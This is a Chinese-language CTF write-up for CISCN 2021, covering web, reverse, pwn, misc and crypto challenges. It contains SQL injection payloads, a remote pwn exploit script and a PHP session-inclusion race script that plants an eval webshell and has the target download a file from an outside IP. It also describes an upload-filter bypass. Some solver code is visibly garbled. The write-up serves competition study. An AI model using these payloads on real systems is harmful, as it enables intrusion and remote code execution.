ciscn2021

WP

场景实操开场卷

web

easy_sql

fuzz 报错注入

数据包：

uname=av')and updatexml(1,concat('0x7e',version()),1)#&passwd=asd&Submit=%E7%99%BB%E5%BD%95

发现过滤了 information_schema还有 innnodb 考虑无列名注入 盲猜一个表 flag

av') and (extractvalue(1,concat(0x7e,(select * from flag),0x7e)))#

bp测试了一波 发现 id字段

union被过滤了 使用 join 和 using 因为刚好知道id字段

av') and (extractvalue(1,concat(0x7e,(select * from (select * from flag a join flag b USING (id))c),0x7e)))#

再爆出 no 最后爆出 一个奇怪的长得很像flag的字段

最后查询即可 因为extractvalue爆出数据长度有限制 使用right 读取拼接就行了

av') and (extractvalue(1,concat(0x7e,(select right(`a432a55d-8aa9-40cf-b9e5-e393c05ffe25`,20) from `flag`),0x7e)))#

报错注入！ 可以直接结合报错注入爆出字段名！！！

https://www.cnblogs.com/wangtanzhi/p/12241499.html

https://reader-l.github.io/2020/06/01/%E6%97%A0%E5%88%97%E5%90%8D%E6%B3%A8%E5%85%A5%E5%B0%8F%E8%AE%B0/#%E6%AD%A3%E6%96%87

easy_source

文章：

https://www.anquanke.com/post/id/167140

跑出 源码:

/.index.php.swo

payload:

?rc=ReflectionMethod&ra=User&rb=q&rd=getDocComment

利用原生反射类

ReflectionMethod 刚好有两个参数

再利用它的内置方法 getDocComment读取注释

bp 遍历参数rb当 rb是q的时候得到flag

?rc=SplFileObject&ra=index.php&rb=r&rd=fpassthru

当时不会反手册！ 稳住就行了！

re

glass

把apk加载入jadx查看

看出主要的checkflag在lib库里，把文件后缀改成zip解压，得

放入ida分析

得到加密函数，根据函数逻辑解密

exp

arr = [0xA3, 0x1A, 0xE3, 0x69, 0x2F, 0xBB, 0x1A, 0x84, 0x65, 0xC2, 0xAD, 0xAD, 0x9E, 0x96, 0x05, 0x02, 0x1F, 0x8E, 0x36, 0x4F, 0xE1, 0xEB, 0xAF, 0xF0, 0xEA, 0xC4, 0xA8, 0x2D, 0x42, 0xC7, 0x6E, 0x3F, 0xB0, 0xD3, 0xCC, 0x78, 0xF9, 0x98, 0x3F]

for i in range(39):
	tmp = list(map(ord,list("12345678")))
	arr[i] ^= tmp[i % 8]

for i in range(0,39,3):
    a1=arr[i] 
    a2=arr[i+1]
    a3= arr[i+2]
    b2 = a1^a2
    b3 = a3^b2
    b1 = a1^b3
    arr[i] = b1
    arr[i+1]=b2
    arr[i+2]=b3

s = [0x65, 0x5e, 0x99, 0x75, 0x37, 0x44, 0x81, 0xc0, 0x78, 0xa3, 0xf4, 0xa7, 0x83, 0x6a, 0x85, 0xbb, 0xfc, 0x3f, 0x89, 0x7f, 0x14, 0xe2, 0x36, 0xc4, 0x5, 0x61, 0xdc, 0x2b, 0x7c, 0x67, 0xdd, 0x21, 0xda, 0x7b, 0x68, 0x13, 0x28, 0x3c, 0x43, 0x70, 0x9d, 0xe9, 0x46, 0xe8, 0x88, 0x53, 0x8a, 0xdb, 0x1, 0x96, 0xc9, 0x5a, 0xef, 0x8e, 0xd4, 0xc8, 0x6d, 0xd8, 0x38, 0xb4, 0x4e, 0xbd, 0x34, 0x56, 0xc7, 0xd5, 0xaf, 0xb2, 0x50, 0xe3, 0x30, 0x58, 0x79, 0xb, 0xbc, 0x54, 0x52, 0x49, 0x91, 0x47, 0x2a, 0xe6, 0x4a, 0x12, 0x2c, 0xf0, 0xd0, 0x2e, 0x6e, 0xf, 0x62, 0xc2, 0xb3, 0xde, 0xb1, 0x1f, 0x40, 0xe4, 0x39, 0x8b, 0x73, 0x63, 0x7e, 0xcf, 0x80, 0xe0, 0xad, 0x8d, 0xed, 0x2d, 0xdf, 0x72, 0x35, 0xca, 0x86, 0x87, 0xc3, 0x19, 0xb0, 0x9e, 0xf9, 0x77, 0xec, 0xfa, 0x76, 0xa, 0x31, 0x4d, 0xcd, 0xa0, 0xe7, 0xf7, 0xd3, 0xce, 0x3b, 0x0, 0xf6, 0x55, 0xa4, 0xd7, 0x24, 0xc5, 0x8c, 0xd, 0xa9, 0x8, 0x57, 0x74, 0x48, 0xba, 0xf1, 0x15, 0xbe, 0xa5, 0x11, 0xb8, 0x1d, 0xa2, 0x3, 0x94, 0x93, 0xd1, 0x27, 0xff, 0x92, 0xae, 0xd2, 0x1a, 0xb5, 0x1b, 0x41, 0x16, 0xf2, 0xb9, 0x6f, 0x3d, 0xc1, 0x18, 0x5d, 0x5b, 0x23, 0xc6, 0xe, 0xd9, 0x6b, 0x9c, 0xac, 0xa6, 0x33, 0x97, 0x9b, 0xf5, 0x98, 0x25, 0xfe, 0x1e, 0xfb, 0x4b, 0x7a, 0x4, 0x9, 0x17, 0x26, 0x51, 0xe1, 0xb6, 0x71, 0xee, 0x7, 0x22, 0xfd, 0xf3, 0x90, 0x45, 0x29, 0xf8, 0x2, 0xcb, 0xcc, 0x9a, 0xab, 0x4f, 0xd6, 0xa1, 0x60, 0x32, 0x5f, 0xa8, 0x8f, 0x4c, 0x69, 0x84, 0x95, 0x6, 0xeb, 0x2f, 0xb7, 0x20, 0x3e, 0xe5, 0x82, 0xbf, 0xc, 0x59, 0x10, 0x64, 0x5c, 0x3a, 0x7d, 0x9f, 0x1c, 0x66, 0x6c, 0xaa, 0x42, 0xea]
def decrypt(s, arr):
	c1 = 0
	c2 = 0
	for j in range(39):
		c2 = (c2 + 1) % 256
		c3 = s[c2]
		c1 = (c1 + c3) % 256
		s[c2] = s[c1]
		s[c1] = c3
		arr[j] ^= s[(c3 + s[c2]) % 256]


decrypt(s, arr)
flag = ""
for k in arr:
    flag += chr(k)

print(flag)

flag:CISCN{6654d84617f627c88846c172e0f4d46c}

pwn

pwny

定义了一个read和write。write读取文件保存到bss段地址，read读取bss段内容打印。

通过两次写然后传入“\xe7“+”\xff”*7获取puts函数的地址从而获取libc基地址

覆盖bss段内保存的/dev/urandom描述符，覆盖为生成的随机数，当随机数第一个字节为00的时候可以从键盘获取输入。

之后泄漏libc和binary的基地址，计算出mallochook的偏移，写入one_gadget,执行exit函数的时候被执行

#coding=utf-8
from pwn import *
from struct import pack
context.arch = "amd64"
elf =ELF('pwny')
libc=ELF("./libc-2.27.so")
#p = process('pwny')
p=remote('124.70.102.25',24298)

l64 = lambda      :u64(sh.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
l32 = lambda      :u32(sh.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
leak  = lambda name,data : p.success(name + ": 0x%x" % data)
s  = lambda payload: p.send(payload)
sa  = lambda a,b  :p.sendafter(str(a),str(b))
sl  = lambda payload: p.sendline(payload)
sla = lambda a,b  :p.sendlineafter(str(a),str(b))
ru  = lambda a     :p.recvuntil(str(a))
r  = lambda a     :p.recv(str(a))
""" """
def b(addr):
	bk="b *$rebase("+str(addr)+")"
	#attach(sh,bk)
	success("attach")
def read(index):
	sla(": ","1")
	sa("Index: ",index)
def write(index):
	sla(": ","2")
	sla(":",str(index))
def write2(index,addr):
	sla(": ","2")
	sla(":",str(index))
	s(addr)

write(0x100)
write(0x100)
read("\xe7"+"\xff"*7)
ru("Result: ")
libase=int(p.recvuntil("\n",drop=True),16)-libc.sym["puts"]
leak("libcbase",libase)
read("\xf5"+"\xff"*7)
ru("Result: ")
pie=int(p.recvuntil("\n",drop=True),16)
#ogg=0x10a45c+libase
ogg=0x10a41c+libase
offset_first=(libase+libc.sym["__malloc_hook"]-(pie+0x58)-8)/8
write2(offset_first,p64(ogg))
offset_second=(libase+libc.sym["__malloc_hook"]-(pie+0x58))/8
realloc_off=4
write2(offset_second,p64(libase+libc.symbols["realloc"]+realloc_off))
sla(": ","5"*0x500)
p.interactive()

misc

tiny_traffic

用wireshark打开

发现可疑的flag 可以就是flag的东西!

tcp contains "flag_wrapper"

搜索一下：

ip.addr == 192.168.2.193 && tcp contains "http"

not http 看一下：

ipa contains "unknown"

把数据导出来：

发现test是Protobuf协议文件

test内容如下

syntax = "proto3";

message PBResponse {
  int32 code = 1;
  int64 flag_part_convert_to_hex_plz = 2;
  message data {
    string junk_data = 2;
    string flag_part = 1;
  }
  repeated data dataList = 3;
  int32 flag_part_plz_convert_to_hex = 4;
  string flag_last_part = 5;
}

message PBRequest {
  string cate_id = 1;
  int32 page = 2;
  int32 pageSize = 3;
}

现在网站

exp:

import get_key
secret = open('secret','rb').read()
key = get_key.PBResponse()
key.ParseFromString(secret)
print(key)

十进制15100450转换为十六进制，得到e66a22

再将16453958转换为十六进制，得到fb1146

最终得到CISCN{e66a22e23457889b0fb1146d172a38dc}

场景实操二阶卷

web

文件包含+session getshell

middle_source

发现目录 .listing

读取之后再读 you_can_seeeeeeee_me.php 发现phpinfo()

看到session 路径 /var/lib/php/sessions/afacdccabd/ 直接脚本session 文件包含

import io
import requests
import threading
sessid = 'upload'

payload = '../../../../../../../var/lib/php/sessions/afacdccabd/sess_' + sessid
data = {
'cf' : payload,
    "cmd":"echo '11111111111';copy('http://47.94.0.250/2.txt','/tmp/mc');"}

#file_put_contents('/tmp/2.txt', '<?php eval($_POST[a]);?>')
poy = {
'http': '127.0.0.1:8081'
}
def write(session):
    while True:
        f = io.BytesIO(b'a' * 1024 * 50)
        resp = session.post( 'http://124.70.102.25:24105', data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST["cmd"]);?>'}, files={'file': ('tgao.txt',f)}, cookies={'PHPSESSID': sessid} )
def read(session):
    while True:
        resp = session.post('http://124.70.102.25:24105',data=data)
        print(resp.url)
        # print(resp.text)
        if 'tgao.txt' in resp.text:
            print(resp.text)
            event.clear()
        else:
            print("[+++++++++++++]retry")
if __name__=="__main__":
    event=threading.Event()
    with requests.session() as session:
        for i in range(1,30):
            threading.Thread(target=write,args=(session,)).start()

        for i in range(1,30):
            threading.Thread(target=read,args=(session,)).start()
    event.set()

[CISCN2021 Quals]upload

回来复现下：

每次看代码就浮躁！

一是太急了！ 太想出题了！ 应该沉下心来慢慢做！ 也就看懂代码的意思了！

上传：

<?php
if (!isset($_GET["ctf"])) {
    highlight_file(__FILE__);
    die();
}

if(isset($_GET["ctf"]))
    $ctf = $_GET["ctf"];

if($ctf=="upload") {
    if ($_FILES['postedFile']['size'] > 1024*512) {
        die("这么大个的东西你是想d我吗？");
    }
    $imageinfo = getimagesize($_FILES['postedFile']['tmp_name']);
    if ($imageinfo === FALSE) {
        die("如果不能好好传图片的话就还是不要来打扰我了");
    }
    if ($imageinfo[0] !== 1 && $imageinfo[1] !== 1) {
        die("东西不能方方正正的话就很讨厌");
    }
    $fileName=urldecode($_FILES['postedFile']['name']);
    if(stristr($fileName,"c") || stristr($fileName,"i") || stristr($fileName,"h") || stristr($fileName,"ph")) {
        die("有些东西让你传上去的话那可不得了");
    }
    $imagePath = "image/" . mb_strtolower($fileName);
    if(move_uploaded_file($_FILES["postedFile"]["tmp_name"], $imagePath)) {
        echo "upload success, image at $imagePath";
    } else {
        die("传都没有传上去");
    }
}

解压：

<?php
if (!isset($_GET["ctf"])) {
    highlight_file(__FILE__);
    die();
}

if(isset($_GET["ctf"]))
    $ctf = $_GET["ctf"];

if($ctf=="poc") {
    $zip = new \ZipArchive();
    $name_for_zip = "example/" . $_POST["file"];
    if(explode(".",$name_for_zip)[count(explode(".",$name_for_zip))-1]!=="zip") {
        die("要不咱们再看看？");
    }
    if ($zip->open($name_for_zip) !== TRUE) {
        die ("都不能解压呢");
    }

    echo "可以解压，我想想存哪里";
    $pos_for_zip = "/tmp/example/" . md5($_SERVER["REMOTE_ADDR"]);
    $zip->extractTo($pos_for_zip);
    $zip->close();
    unlink($name_for_zip);
    $files = glob("$pos_for_zip/*");
    foreach($files as $file){
        if (is_dir($file)) {
            continue;
        }
        $first = imagecreatefrompng($file);
        $size = min(imagesx($first), imagesy($first));
        $second = imagecrop($first, ['x' => 0, 'y' => 0, 'width' => $size, 'height' => $size]);
        if ($second !== FALSE) {
            $final_name = pathinfo($file)["basename"];
            imagepng($second, 'example/'.$final_name);
            imagedestroy($second);
        }
        imagedestroy($first);
        unlink($file);
    }

}

比赛的时候我想国晚上给了俩代码有啥用呢？

但是应该一些技术原因！ 我还在纠结怎么上传图片呢？

有看了看php手册什么的！

创建上传脚本

“upload_file.php” 文件含有供上传文件的代码：

<?php
if ($_FILES["file"]["error"] > 0)
{
    echo "错误：" . $_FILES["file"]["error"] . "<br>";
}
else
{
    echo "上传文件名: " . $_FILES["file"]["name"] . "<br>";
    echo "文件类型: " . $_FILES["file"]["type"] . "<br>";
    echo "文件大小: " . ($_FILES["file"]["size"] / 1024) . " kB<br>";
    echo "文件临时存储的位置: " . $_FILES["file"]["tmp_name"];
}
?>

通过使用 PHP 的全局数组 $_FILES，你可以从客户计算机向远程服务器上传文件。

第一个参数是表单的 input name，第二个下标可以是 “name”、”type”、”size”、”tmp_name” 或 “error”。如下所示：

• $_FILES[“file”][“name”] - 上传文件的名称
• $_FILES[“file”][“type”] - 上传文件的类型
• $_FILES[“file”][“size”] - 上传文件的大小，以字节计
• $_FILES[“file”][“tmp_name”] - 存储在服务器的文件的临时副本的名称
• $_FILES[“file”][“error”] - 由文件上传导致的错误代码

这是一种非常简单文件上传方式。基于安全方面的考虑，您应当增加有关允许哪些用户上传文件的限制。

得到一些小的结论：

像这种没给前端让我们构造表单的！ 可以自己弄个前端！ 但是我弄的有点问题！

看了一些资料发现了问题！

$_FILES["file"]["name"] 第一个file是表单名 技术 name的值！

也可以直接culr上传文件！再抓包方便点！

curl -F "postedFile=@10.zip" http://40e9b8ec-5adf-484c-9003-4ba8244d0cab.node3.buuoj.cn/?ctf=upload -x http://127.0.0.1:8081

好坑啊！我上传成功了！但是不能解压！

不知道怎么回事！

我试了试：

抓包：

#define width 1
#define height 1

用它绕过就可以了！getimagesize

就可与上传图片🐎了！

再解压就可以了！ 主要是绕过getimagesize 和i字符！%c4%b0代替i字符

修改图片后缀为php然后压缩成zip

一下午在解决一个问题！就算为什么 burp2020上传zip后文件毁坏了！ burp2017就没事！人晕了！ 我cccccc

看数据包都看出一点不一样！ 但是我认为是编码问题 没太上心！ 最后发现是burp的问题！

坑死我了！😫😫😫😫😫

<html>
<body>

<form action="http://6979fce0-d932-4d00-822f-0f43c58406ab.node3.buuoj.cn/?ctf=upload" method="post" enctype="multipart/form-data">
<label for="file">Filename:</label>
<input type="file" name="postedFile" id="file" /> 
<br />
<input type="submit" name="submit" value="Submit" />
</form>

</body>
</html>

就这bp的问题！ wc!

re

babybc

查看文件属性

LLVM 可以用clang -o命令可提取

得到的文件载入ida

根据里面两个f（x）和c 函数逻辑逆向写exp，即可爆出flag

exp：

from z3 import *
from hakhlib import md5

row = [[0x00, 0x00, 0x00, 0x01],[0x01, 0x00, 0x00, 0x00], [0x02, 0x00, 0x00, 0x01], [0x00, 0x00, 0x00, 0x00], [0x01, 0x00, 0x01, 0x00]]
col = [[0x00, 0x00, 0x02, 0x00,0x02], [0x00, 0x00, 0x00, 0x00, 0x00], [0x00, 0x00, 0x00, 0x01, 0x00], [0x00, 0x01, 0x00, 0x00, 0x01]]
k = kolver()

map = [[Int("x%d%d"%(i, j)) for i in range(5)] for j in range(5)]
print(map)
k.add(map[2][2] == 4)
k.add(map[3][3] == 3)
for i in range(5):
    for j in range(5):
        k.add(map[i][j] >= 1)
        k.add(map[i][j] <= 5)
for i in range(5):
    for j in range(5):
        for k in range(j):
            k.add(map[i][j] != map[i][k])
for j in range(5):
    for i in range(5):
        for k in range(i):
            k.add(map[i][j] != map[k][j])
for i in range(5):
    for j in range(4):
        if row[i][j] == 1:
            k.add(map[i][j] > map[i][j+1])
        elif row[i][j] == 2:
            k.add(map[i][j] < map[i][j+1])
for i in range(4):
    for j in range(5):
        if col[i][j] == 2:
            k.add(map[i][j] > map[i+1][j])
        elif col[i][j] == 1:
            k.add(map[i][j] < map[i+1][j])

gggg = k.check()
print(gggg)
if gggg == kat:
    print(k.model())
    m = k.model()
    flag = []
    for i in map:
        for j in i:
            flag.append(m[j].ak_long())
    for i in range(len(flag)):
        flag[i] += 0x30
    flag[12] = 0x30
    flag[18] = 0x30
    flag = bytek(flag)
    print(flag)
    
    print(md5(flag).hexdigekt())

flag:CISCN{8a04b4597ad08b83211d3adfa1f61431}

场景实操冲刺卷

crypto

rsa

分为三个部分解密

第一个是低指数加密

from Crypto.Util.number import *
import gmpy2
def dangerousRSA(a,b,c):
    m=0
    while 1:
        n=gmpy2.iroot(c+m*a,b)
        if n[1]==True:
            e=int(n[0])
            print(long_to_bytes(e))
            break
        else:
            m+=1
            
dangerousRSA(123814470394550598363280518848914546938137731026777975885846733672494493975703069760053867471836249473290828799962586855892685902902050630018312939010564945676699712246249820341712155938398068732866646422826619477180434858148938235662092482058999079105450136181685141895955574548671667320167741641072330259009,3,19105765285510667553313898813498220212421177527647187802549913914263968945493144633390670605116251064550364704789358830072133349108808799075021540479815182657667763617178044110939458834654922540704196330451979349353031578518479199454480458137984734402248011464467312753683234543319955893)

解出来是

\nO wild West Wind, thou breath of Autum

第二部分是共模攻击

from libnum import *
from Crypto.Util.number import *
def samen(a1,a2,b1,b2,c):
    def egcd(m, n):
        if n == 0:
            return m, 0
        else:
            x, y = egcd(n, m % n)
            return y, x - (m // n) * y
    k = egcd(b1, b2)
    k1 = k[0]
    k2 = k[1]

    # 求模反元素
    if k1 < 0:
        k1 = - k1
        a1 = invmod(a1, c)
    elif k2 < 0:
        k2 = - k2
        a2 = invmod(a2, c)
    e = long_to_bytes((pow(a1, k1, c) * pow(a2, k2, c) )% c)
		
    print(e)
samen(54995751387258798791895413216172284653407054079765769704170763023830130981480272943338445245689293729308200574217959018462512790523622252479258419498858307898118907076773470253533344877959508766285730509067829684427375759345623701605997067135659404296663877453758701010726561824951602615501078818914410959610,91290935267458356541959327381220067466104890455391103989639822855753797805354139741959957951983943146108552762756444475545250343766798220348240377590112854890482375744876016191773471853704014735936608436210153669829454288199838827646402742554134017280213707222338496271289894681312606239512924842845268366950,17,65537,111381961169589927896512557754289420474877632607334685306667977794938824018345795836303161492076539375959731633270626091498843936401996648820451019811592594528673182109109991384472979198906744569181673282663323892346854520052840694924830064546269187849702880332522636682366270177489467478933966884097824069977)

解出来是

n's being,\nThou, from whose unseen presence the leaves dead\nAre driven, like ghosts from an enchanter fleeing,\nYellow, a

第三部分是高位攻击

n =113432930155033263769270712825121761080813952100666693606866355917116416984149165507231925180593860836255402950358327422447359200689537217528547623691586008952619063846801829802637448874451228957635707553980210685985215887107300416969549087293746310593988908287181025770739538992559714587375763131132963783147
p_fake=7117286695925472918001071846973900342640107770214858928188419765628151478620236042882657992902后面要添加50个0  
pbits = 512
kbits = 200
pbar = p_fake & (2^pbits-2^kbits)  
PR.<x> = PolynomialRing(Zmod(n))  
f = x + pbar  
x0 = f.small_roots(X=2^kbits, beta=0.4)[0] # find root < 2^kbits with factor >= n^0.3  
print( hex(int(x0 + pbar))  )

解出来是

nd black, and pale, and hectic red,\nPestilence-stricken multitudes: O thou,\nWho chariotest to their dark wintry bed\n

最后把这三部分连起来求md5即可

\nO wild West Wind, thou breath of Autumn's being,\nThou, from whose unseen presence the leaves dead\nAre driven, like ghosts from an enchanter fleeing,\nYellow, and black, and pale, and hectic red,\nPestilence-stricken multitudes: O thou,\nWho chariotest to their dark wintry bed\n

misc

robots

还是先看看有没有http

都是

感觉没啥用！

看看tcp:

发现有可疑的value值！

把值都提取出来：

[27,36,0].
[28,35,0].
[29,35,0].
[31,35,0].
[32,35,0].
[33,35,0].
[35,35,0].

发现好像 XYZ指标 Z的值都是0！

去掉Z=0后：

[27,36],[28,35],[29,35],[31,35],[32,35],[33,35],[35,35],[36,35],[37,35],[39,34],[40,34],[41,33],[42,32],[43,32],[45,32],[47,31],[48,29],[49,28],[49,27],[50,26],[50,25],[51,23],[51,22],[51,21],[52,20],[52,19],[52,18],[52,17],[52,16],[52,15],[51,14],[50,14],[49,14],[48,14],[47,14],[46,14],[45,14],[44,14],[43,14],[42,14],[40,14],[39,14],[37,14],[35,14],[34,14],[32,14],[30,14],[28,14],[27,14],[26,14],[25,14],[24,14],[23,14],[22,14],[21,15],[20,16],[19,17],[18,19],[18,21],[18,22],[18,23],[18,24],[18,26],[18,27],[18,28],[18,30],[18,32],[18,33],[18,34],[19,37],[21,39],[21,40],[22,42],[24,44],[24,45],[26,47],[27,48],[28,49],[29,50],[30,51],[31,52],[33,53],[34,53],[35,54],[36,54],[37,54],[38,54],[39,54],[40,54],[41,54],[44,54],[46,54],[48,54],[50,54],[52,53],[53,53],[54,52],[55,52],[56,52],[58,51],[59,50],[61,49],[62,49],[64,47],[65,47],[67,46],[68,46],[70,45],[71,44],[125,23],[125,23],[124,22],[123,22],[121,21],[118,20],[115,19],[113,19],[112,18],[111,18],[109,17],[106,16],[104,16],[103,16],[102,15],[101,15],[100,15],[99,15],[98,15],[97,15],[96,15],[95,15],[94,15],[93,15],[92,15],[91,15],[89,15],[87,17],[85,18],[85,19],[84,21],[83,21],[82,22],[82,23],[81,24],[81,26],[80,28],[80,29],[80,31],[80,32],[79,34],[79,35],[79,37],[79,39],[79,41],[79,43],[79,44],[79,46],[79,47],[80,48],[81,49],[82,50],[84,50],[87,51],[88,51],[90,51],[91,51],[93,51],[94,51],[97,51],[100,50],[101,49],[102,49],[103,48],[105,46],[106,45],[108,43],[109,42],[110,41],[111,39],[112,38],[112,36],[113,34],[114,33],[115,32],[115,31],[116,30],[117,28],[118,27],[118,28],[117,30],[116,32],[115,34],[115,36],[114,39],[114,41],[114,43],[114,45],[114,47],[114,48],[114,50],[114,52],[114,53],[115,54],[116,55],[117,56],[118,57],[120,57],[122,57],[124,57],[126,57],[128,57],[131,57],[133,57],[136,57],[138,57],[141,57],[143,56],[145,55],[147,53],[149,52],[150,52],[152,50],[153,49],[155,47],[156,46],[157,45],[212,24],[212,24],[213,23],[211,21],[210,20],[209,19],[208,18],[207,17],[206,16],[205,15],[204,15],[201,14],[200,14],[199,14],[197,14],[196,14],[195,14],[193,14],[191,14],[189,16],[188,16],[187,16],[186,17],[185,17],[183,18],[183,20],[183,21],[182,22],[182,23],[182,24],[182,25],[182,26],[182,27],[182,29],[183,31],[184,32],[186,33],[187,34],[188,34],[189,35],[190,35],[192,36],[194,37],[196,37],[198,38],[199,38],[200,38],[201,38],[202,39],[203,39],[204,40],[207,41],[207,42],[208,43],[208,44],[208,45],[208,46],[208,48],[208,50],[208,51],[207,53],[207,54],[206,56],[204,58],[203,60],[202,61],[201,62],[201,63],[200,64],[199,64],[198,64],[197,65],[196,65],[195,65],[193,65],[192,65],[190,65],[189,65],[187,65],[185,65],[184,65],[183,65],[181,64],[180,63],[179,63],[178,62],[177,62],[175,61],[174,60],[173,59],[243,20],[243,20],[244,19],[244,21],[244,25],[245,26],[245,29],[247,32],[247,34],[248,36],[248,37],[249,39],[250,40],[251,42],[251,43],[252,44],[254,44],[256,44],[258,44],[260,42],[262,41],[263,40],[265,38],[266,35],[267,32],[268,30],[271,27],[272,25],[273,22],[274,21],[275,20],[275,19],[274,18],[274,20],[272,22],[271,23],[271,26],[268,29],[266,33],[266,35],[265,37],[263,40],[262,42],[262,44],[261,47],[260,49],[259,51],[258,55],[258,56],[257,58],[255,61],[254,62],[253,63],[253,64],[252,65],[251,66],[250,67],[249,68],[248,69],[247,70],[246,71],[245,72],[244,73],[298,64],[298,64],[299,65],[300,65],[302,65],[304,65],[306,65],[308,65],[309,65],[312,65],[315,65],[317,65],[319,65],[322,65],[325,65],[327,65],[330,65],[332,65],[334,66],[335,66],[20,103],[20,104],[20,107],[20,110],[20,112],[20,114],[20,118],[19,121],[18,124],[17,126],[17,130],[17,134],[17,137],[17,139],[17,142],[17,143],[17,146],[17,147],[17,149],[17,150],[17,149],[17,148],[17,146],[18,145],[18,143],[19,142],[20,141],[20,140],[21,138],[21,137],[22,135],[23,134],[24,132],[25,131],[26,129],[27,128],[28,127],[29,126],[31,125],[32,124],[32,123],[34,121],[35,120],[37,120],[38,119],[40,118],[41,118],[43,117],[44,116],[46,115],[48,115],[49,114],[50,113],[51,113],[52,112],[80,121],[80,121],[79,120],[78,121],[77,122],[77,123],[77,124],[76,127],[75,128],[74,129],[73,131],[73,132],[73,133],[72,135],[72,136],[72,137],[72,138],[72,139],[72,140],[72,142],[72,144],[72,145],[73,148],[74,149],[77,150],[78,150],[80,151],[81,151],[82,151],[83,151],[84,151],[85,151],[87,151],[89,151],[90,151],[92,150],[93,150],[95,149],[97,147],[98,146],[99,146],[100,145],[101,144],[102,142],[102,141],[104,139],[104,138],[105,136],[105,135],[105,133],[105,132],[105,131],[105,129],[104,128],[103,126],[102,126],[101,125],[98,123],[96,123],[95,123],[93,123],[92,122],[90,121],[89,121],[86,120],[147,98],[147,98],[146,99],[145,100],[144,103],[143,104],[142,105],[142,106],[142,109],[142,111],[142,114],[141,118],[140,120],[139,123],[138,127],[138,129],[137,133],[135,135],[134,137],[133,139],[131,142],[131,143],[131,145],[130,146],[129,149],[128,152],[128,153],[127,156],[127,157],[126,158],[127,157],[129,157],[130,156],[132,156],[134,155],[137,153],[138,152],[139,151],[140,150],[143,149],[144,148],[145,147],[146,146],[147,145],[149,144],[149,143],[150,142],[151,141],[152,140],[152,139],[153,138],[153,137],[153,136],[153,135],[153,134],[153,133],[152,132],[151,131],[150,131],[149,130],[147,129],[186,136],[186,136],[183,137],[182,138],[182,139],[182,140],[181,142],[179,144],[179,145],[179,147],[178,149],[177,150],[177,151],[177,152],[177,154],[177,156],[177,157],[177,158],[178,160],[179,161],[180,162],[181,163],[182,164],[184,164],[186,164],[187,164],[188,164],[190,163],[191,162],[192,162],[194,160],[196,159],[197,158],[197,156],[198,155],[200,153],[200,152],[201,150],[201,149],[201,148],[201,147],[201,145],[201,144],[201,142],[201,141],[201,139],[201,138],[200,136],[199,135],[198,135],[197,135],[196,135],[195,135],[193,135],[192,135],[190,135],[189,135],[223,167],[223,167],[224,167],[226,167],[228,167],[229,167],[232,167],[233,167],[234,167],[235,167],[237,167],[238,167],[240,167],[241,167],[243,167],[244,167],[246,167],[247,167],[250,168],[251,168],[252,168],[253,168],[254,168],[269,135],[271,136],[273,138],[275,140],[276,141],[278,143],[280,145],[282,147],[284,149],[285,150],[288,152],[289,153],[291,154],[293,156],[294,157],[296,159],[297,160],[298,161],[299,162],[300,136],[299,136],[297,137],[296,138],[294,141],[294,142],[293,144],[293,145],[292,148],[291,149],[290,151],[288,153],[288,155],[287,156],[286,157],[285,159],[284,160],[283,161],[282,162],[281,163],[280,164],[279,165],[327,142],[328,143],[330,145],[332,148],[333,149],[335,151],[337,154],[339,156],[341,158],[342,159],[345,160],[347,161],[348,162],[350,164],[351,165],[352,166],[355,168],[356,169],[351,143],[350,143],[348,144],[347,144],[346,145],[343,148],[341,150],[339,152],[336,155],[333,158],[330,159],[327,162],[325,165],[323,167],[322,168],[319,170],[317,171],[316,171],[314,172],[313,172]

思路就是以前做题的时候画图：

exp：

from PIL import Image
from zlib import *
a = 520
picture = Image.new("RGB", (a,a))
l = ([27,36],[28,35],[29,35],[31,35],[32,35],[33,35],[35,35],[36,35],[37,35],[39,34],[40,34],[41,33],[42,32],[43,32],[45,32],[47,31],[48,29],[49,28],[49,27],[50,26],[50,25],[51,23],[51,22],[51,21],[52,20],[52,19],[52,18],[52,17],[52,16],[52,15],[51,14],[50,14],[49,14],[48,14],[47,14],[46,14],[45,14],[44,14],[43,14],[42,14],[40,14],[39,14],[37,14],[35,14],[34,14],[32,14],[30,14],[28,14],[27,14],[26,14],[25,14],[24,14],[23,14],[22,14],[21,15],[20,16],[19,17],[18,19],[18,21],[18,22],[18,23],[18,24],[18,26],[18,27],[18,28],[18,30],[18,32],[18,33],[18,34],[19,37],[21,39],[21,40],[22,42],[24,44],[24,45],[26,47],[27,48],[28,49],[29,50],[30,51],[31,52],[33,53],[34,53],[35,54],[36,54],[37,54],[38,54],[39,54],[40,54],[41,54],[44,54],[46,54],[48,54],[50,54],[52,53],[53,53],[54,52],[55,52],[56,52],[58,51],[59,50],[61,49],[62,49],[64,47],[65,47],[67,46],[68,46],[70,45],[71,44],[125,23],[125,23],[124,22],[123,22],[121,21],[118,20],[115,19],[113,19],[112,18],[111,18],[109,17],[106,16],[104,16],[103,16],[102,15],[101,15],[100,15],[99,15],[98,15],[97,15],[96,15],[95,15],[94,15],[93,15],[92,15],[91,15],[89,15],[87,17],[85,18],[85,19],[84,21],[83,21],[82,22],[82,23],[81,24],[81,26],[80,28],[80,29],[80,31],[80,32],[79,34],[79,35],[79,37],[79,39],[79,41],[79,43],[79,44],[79,46],[79,47],[80,48],[81,49],[82,50],[84,50],[87,51],[88,51],[90,51],[91,51],[93,51],[94,51],[97,51],[100,50],[101,49],[102,49],[103,48],[105,46],[106,45],[108,43],[109,42],[110,41],[111,39],[112,38],[112,36],[113,34],[114,33],[115,32],[115,31],[116,30],[117,28],[118,27],[118,28],[117,30],[116,32],[115,34],[115,36],[114,39],[114,41],[114,43],[114,45],[114,47],[114,48],[114,50],[114,52],[114,53],[115,54],[116,55],[117,56],[118,57],[120,57],[122,57],[124,57],[126,57],[128,57],[131,57],[133,57],[136,57],[138,57],[141,57],[143,56],[145,55],[147,53],[149,52],[150,52],[152,50],[153,49],[155,47],[156,46],[157,45],[212,24],[212,24],[213,23],[211,21],[210,20],[209,19],[208,18],[207,17],[206,16],[205,15],[204,15],[201,14],[200,14],[199,14],[197,14],[196,14],[195,14],[193,14],[191,14],[189,16],[188,16],[187,16],[186,17],[185,17],[183,18],[183,20],[183,21],[182,22],[182,23],[182,24],[182,25],[182,26],[182,27],[182,29],[183,31],[184,32],[186,33],[187,34],[188,34],[189,35],[190,35],[192,36],[194,37],[196,37],[198,38],[199,38],[200,38],[201,38],[202,39],[203,39],[204,40],[207,41],[207,42],[208,43],[208,44],[208,45],[208,46],[208